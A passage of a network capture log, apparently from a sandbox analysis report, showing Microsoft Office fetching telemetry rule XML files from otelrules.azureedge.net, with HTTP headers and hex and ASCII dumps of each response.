54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700401" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.7	49813	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 18:39:35 UTC	192	OUT	GET /rules/rule700400v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 18:39:35 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 18:39:35 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB779FC3" x-ms-request-id: 70ecc3c7-201e-005d-13af-36afb3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T183935Z-16547b76f7ftdm8dhC1DFWs13g0000000nm00000000012hh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 18:39:35 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 30 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 65 6d 65 74 72 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700400" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTelemetry" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.7	49814	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 18:39:35 UTC	192	OUT	GET /rules/rule700351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 18:39:35 UTC	515	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 18:39:35 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BDFD43C07" x-ms-request-id: fea61825-901e-0083-2e81-37bb55000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T183935Z-16547b76f7fphh5qhC1DFWm00n00000000p0000000003b4f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-15 18:39:35 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSys

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.7	49815	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 18:39:35 UTC	192	OUT	GET /rules/rule700350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 18:39:35 UTC	515	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 18:39:35 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDD74D2EC" x-ms-request-id: 4901c883-e01e-0020-44af-36de90000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T183935Z-16547b76f7fk9g8vhC1DFW825400000002e000000000dbgu x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 18:39:35 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 74 65 6d 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSystem" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.7	49816	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 18:39:35 UTC	192	OUT	GET /rules/rule703901v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 18:39:35 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 18:39:35 GMT Content-Type: text/xml Content-Length: 1427 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE56F6873" x-ms-request-id: e64bc42a-e01e-0033-1ec9-364695000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T183935Z-164f84587bfm8kdnhC1DFWey4g00000001tg000000006n3b x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 18:39:35 UTC	1427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703901" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexu

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.7	49817	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 18:39:36 UTC	192	OUT	GET /rules/rule703900v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 18:39:36 UTC	515	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 18:39:36 GMT Content-Type: text/xml Content-Length: 1390 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE3002601" x-ms-request-id: bd00a7b8-901e-002a-72af-367a27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T183936Z-16547b76f7ffx24hhC1DFW9px4000000016g00000000gd8v x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 18:39:36 UTC	1390	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 53 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703900" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenServiceabilityManager" S=

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.7	49818	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 18:39:36 UTC	192	OUT	GET /rules/rule701501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 18:39:36 UTC	515	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 18:39:36 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:48 GMT ETag: "0x8DC582BE2A9D541" x-ms-request-id: 94e04423-001e-008d-67ab-36d91e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T183936Z-16547b76f7fnlq8chC1DFWxnen00000001dg0000000088v2 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 18:39:36 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenS

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.7	49819	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 18:39:36 UTC	192	OUT	GET /rules/rule701500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 18:39:36 UTC	515	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 18:39:36 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB6AD293" x-ms-request-id: 36c9bc1a-b01e-003e-0509-378e41000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T183936Z-1866b5c5fbbfkdfghC1DFW4sv400000000t000000000a0gb x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 18:39:36 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 63 75 72 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSecurity" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.7	49820	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 18:39:36 UTC	192	OUT	GET /rules/rule702801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 18:39:36 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 18:39:36 GMT Content-Type: text/xml Content-Length: 1391 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF58DC7E" x-ms-request-id: e59c32fc-b01e-005c-5110-364c66000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T183936Z-164f84587bf28gjzhC1DFW35kg00000001n000000000a79r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 18:39:36 UTC	1391	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.7	49821	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 18:39:36 UTC	192	OUT	GET /rules/rule702800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 18:39:36 UTC	538	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 18:39:36 GMT Content-Type: text/xml Content-Length: 1354 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE0662D7C" x-ms-request-id: 1deec605-401e-0029-2fd2-2c9b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T183936Z-16547b76f7f9bs6dhC1DFWt3rg0000000ncg00000000xvnv x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 18:39:36 UTC	1354	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S="Medium" /> <F T="2"> <O

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.7	49822	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 18:39:37 UTC	192	OUT	GET /rules/rule703351v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 18:39:37 UTC	538	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 18:39:37 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCDD6400" x-ms-request-id: 4df37937-b01e-003d-35ab-2bd32c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T183937Z-16547b76f7fkf5v9hC1DFW2y5s00000001kg00000000bbkt x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 18:39:37 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703351" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.7	49823	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 18:39:37 UTC	192	OUT	GET /rules/rule703350v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 18:39:37 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 18:39:37 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:42 GMT ETag: "0x8DC582BDF1E2608" x-ms-request-id: 926299b0-201e-0096-47af-36ace6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T183937Z-16547b76f7fw2955hC1DFWsptc000000027g000000006gn3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 18:39:37 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 63 72 69 70 74 4c 61 62 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703350" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenScriptLab" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.7	49824	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 18:39:37 UTC	192	OUT	GET /rules/rule703501v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 18:39:37 UTC	538	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 18:39:37 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:59 GMT ETag: "0x8DC582BE8C605FF" x-ms-request-id: 5b14ddc3-301e-0033-2bd2-2cfa9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T183937Z-16547b76f7fw2955hC1DFWsptc0000000280000000004ra4 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
